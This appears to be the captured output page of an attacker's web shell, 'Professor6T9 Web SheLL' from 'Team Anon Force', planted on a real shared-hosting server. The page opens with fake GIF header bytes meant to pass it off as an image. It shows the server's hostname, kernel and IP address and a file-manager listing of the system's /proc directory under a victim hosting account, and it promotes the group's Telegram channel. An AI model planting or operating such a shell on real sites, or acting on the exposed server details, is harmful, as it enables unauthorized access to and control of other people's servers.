GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux premium121.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.0.229.137
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-01 09:39:24
.. dir - root/root 0755 2025-08-05 06:33:14
15565 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
169900 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
1974980 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
2096583 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
2235126 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
2439698 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
271643 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
3224983 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
3398724 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
3423802 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
354094 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
357011 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
367036 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
3770089 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
382289 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
383411 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
384597 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
389238 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
3893668 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
3899212 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
390407 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
3915749 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
3919124 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
3927750 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
392883 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
396500 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
397903 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
4000677 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
400581 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
402089 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
403639 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
404406 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:22
405082 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
406386 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
407768 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
408587 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
409305 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
410720 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
448362 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:25
467486 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:30
467498 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:31
664994 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
750839 dir - blacotuu/blacotuu 0555 2025-11-22 02:37:21
acpi dir - root/root 0555 2025-06-01 01:39:27
bus dir - root/root 0555 2025-06-01 01:39:36
driver dir - root/root 0555 2025-11-22 02:37:32
fs dir - root/root 0555 2025-06-01 01:39:36
irq dir - root/root 0555 2025-06-01 01:39:36
kcare dir - root/root 0555 2025-11-22 02:37:32
lve dir - root/root 0555 2025-11-22 02:37:30
net link - blacotuu/blacotuu 0555 2025-11-22 02:37:32
scsi dir - root/root 0555 2025-06-01 01:39:36
self link - blacotuu/blacotuu 0555 2025-11-22 02:37:25
sys dir - root/root 0555 2025-06-01 01:39:27
sysvipc dir - root/root 0555 2025-11-22 02:37:32
thread-self link - blacotuu/blacotuu 0555 2025-11-22 02:37:32
tty dir - root/root 0555 2025-11-22 02:37:32
buddyinfo 0 B root/root 0444 2025-11-22 02:37:32
cgroups 0 B root/root 0444 2025-11-22 02:37:32
cmdline text/plain 0 B root/root 0444 2025-11-22 02:37:26
consoles 0 B root/root 0444 2025-11-22 02:37:32
cpuinfo text/plain 0 B root/root 0444 2025-11-22 02:37:30
crypto 0 B root/root 0444 2025-11-22 02:37:32
devices 0 B root/root 0444 2025-11-22 02:37:32
diskstats 0 B root/root 0444 2025-11-22 02:37:32
dma 0 B root/root 0444 2025-11-22 02:37:32
execdomains 0 B root/root 0444 2025-11-22 02:37:32
fb 0 B root/root 0444 2025-11-22 02:37:32
filesystems text/plain 0 B root/root 0444 2025-11-22 02:33:51
interrupts 0 B root/root 0444 2025-11-22 02:37:32
iomem 0 B root/root 0444 2025-11-22 02:37:32
ioports 0 B root/root 0444 2025-11-22 02:37:32
kallsyms 0 B root/root 0444 2025-06-01 01:39:36
kcore 128 TB root/root 0400 2025-06-01 01:39:27
key-users 0 B root/root 0444 2025-11-22 02:37:32
keys 0 B root/root 0444 2025-11-22 02:37:32
kmsg 0 B root/root 0400 2025-11-22 02:37:32
kpagecgroup 0 B root/root 0400 2025-11-22 02:37:32
kpagecount 0 B root/root 0400 2025-11-22 02:37:32
kpageflags 0 B root/root 0400 2025-11-22 02:37:32
loadavg text/plain 0 B root/root 0444 2025-11-22 02:37:31
locks 0 B root/root 0444 2025-11-22 02:37:32
mdstat 0 B root/root 0444 2025-11-22 02:37:32
meminfo text/plain 0 B root/root 0444 2025-11-22 02:36:55
misc 0 B root/root 0444 2025-11-22 02:37:32
modules 0 B root/root 0444 2025-11-22 02:37:32
mounts text/plain 0 B blacotuu/blacotuu 0444 2025-11-22 02:37:32
mtrr 0 B root/root 0644 2025-06-01 01:39:36
pagetypeinfo 0 B root/root 0400 2025-11-22 02:37:32
partitions 0 B root/root 0444 2025-11-22 02:37:32
sched_debug 0 B root/root 0444 2025-11-22 02:37:32
schedstat 0 B root/root 0444 2025-11-22 02:37:32
slabinfo 0 B root/root 0400 2025-11-22 02:37:32
softirqs 0 B root/root 0444 2025-11-22 02:37:32
stat text/plain 0 B root/root 0444 2025-11-22 02:37:00
swaps 0 B root/root 0444 2025-07-03 09:05:13
sysrq-trigger 0 B root/root 0200 2025-06-01 01:39:36
timer_list 0 B root/root 0400 2025-11-22 02:37:32
uptime text/plain 0 B root/root 0444 2025-11-22 02:36:55
version text/plain 0 B root/root 0444 2025-11-22 02:37:32
vmallocinfo 0 B root/root 0400 2025-11-22 02:37:32
vmstat 0 B root/root 0444 2025-11-22 02:37:32
zoneinfo 0 B root/root 0444 2025-11-22 02:37:32
© Professor6T9